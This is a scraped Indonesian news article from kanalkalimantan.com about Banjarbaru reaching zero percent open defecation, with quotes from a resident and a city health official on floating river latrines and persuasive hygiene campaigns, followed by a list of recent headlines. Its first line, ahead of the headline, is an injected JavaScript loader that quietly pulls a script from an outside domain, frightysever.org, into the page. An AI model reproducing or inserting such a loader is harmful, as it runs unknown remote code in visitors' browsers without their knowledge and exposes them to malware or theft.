(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mengubah Kebiasan Perilaku MCK Warga di Banjarbaru, Upaya Nol Persen BABS


KANALKALIMANTAN.COM, BANJARBARU – Mayoritas masyarakat Banjarbaru sudah tidak ada yang melakukan buang air besar sembarangan alias BABS. Meski begitu, masih ada sejumlah kecil warga yang tetap memanfaatkan jamban terapung di sungai wilayah Kecamatan Cempaka untuk keperluan MCK alias mandi cuci kakus.

Kondisi itu menjadi perhatian Dinas Kesehatan Kota Banjarbaru bersama Puskesmas setempat denbgan terus melakukan pemantauan dan edukasi kepada warga.

Warga Bangkal, Kecamatan, Cempaka, Musfirah mengatakan, dulu di wilayahnya masih banyak jamban mengapung, namun sekarang terus berkurang karena tidak terpakai lagi dan hanyut kena banjir pada awal tahun 2021 lalu.

“Sekarang lanting tersebut hanya difungsikan warga sebagai sarana mandi dan mencuci,” ungkapnya.

 

 

Baca juga: Dua Bulan Sudah Meninggal Dunia, Bocah Disimpan Orangtuanya

Ditambahkan Musfirah, petigas kesehatan sering melakukan imbauan untuk tidak membangun jamban di sungai. Warga masih menggunakannya, hanya saja untuk aktifitas mandi dan mencuci di sungai, sehingga diberi kelonggaran untuk membangun lanting.

Sementara itu, Kepala Bidang Kesehatan Masyarakat, Dinkes Kota Banjarbaru, Rita Fitriani mengakui, memang masih ada lanting di wilayah Banjarbaru, namun dirinya menegaskan kalau di Kecamatan Cempaka dan Kota Banjarbaru pada umumnya tidak ada lagi yang BABS ke sungai.

“Di Banjarbaru perilaku orang BABS ke sungai bisa dikatakan nol persen,” tegasnya.

Dinkes bersama instansi terkait serta Puskesmas sejak beberapa tahun silam terus melakukan sosialisasi perilaku hidup bersih dan sehat.

“Satu lanting tersebut memang sudah ada dari dulu, kita tidak merobohkannya, tapi menggunakan pendekatan persuasif agar masyarakat tidak menggunakan jamban untuk buang hajat. Bahkan dari Dinas PUPR sudah banyak membangun WC dan septic tank untuk warga, termasuk kepala keluarga di sekitar lanting tersebut,” bebernya.

Baca juga: Mirip Polisi Bingungkan Masyarakat, Seragam Satpam Akan Diubah Kembali

Mengubah perilaku warga yang sudah mendarah daging alias menjadi budaya melakukan BABS di sungai sangat panjang prosesnya.

“Kita dari dulu memang tidak pernah melakukan penghilangan jamban, tapi lebih kepada pendekatan persuasif kepada masyarakat, terbukti hingga sekarang di Banjarbaru sendiri nol persen perilaku warga yang BABS ke sungai tidak ada lagi,” tuntasnya.

Pemerintah Kota Banjarbaru di penghujung tahun 2021 lalu melakuka-n deklarasi setop buang air besar sembarangan dan berhasil meraih penghargaan Kota ODF kedua di Kalimantan Selatan dan yang ketiga untuk Regional Kalimantan. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

9 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

12 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

16 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

16 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

17 jam ago

This website uses cookies.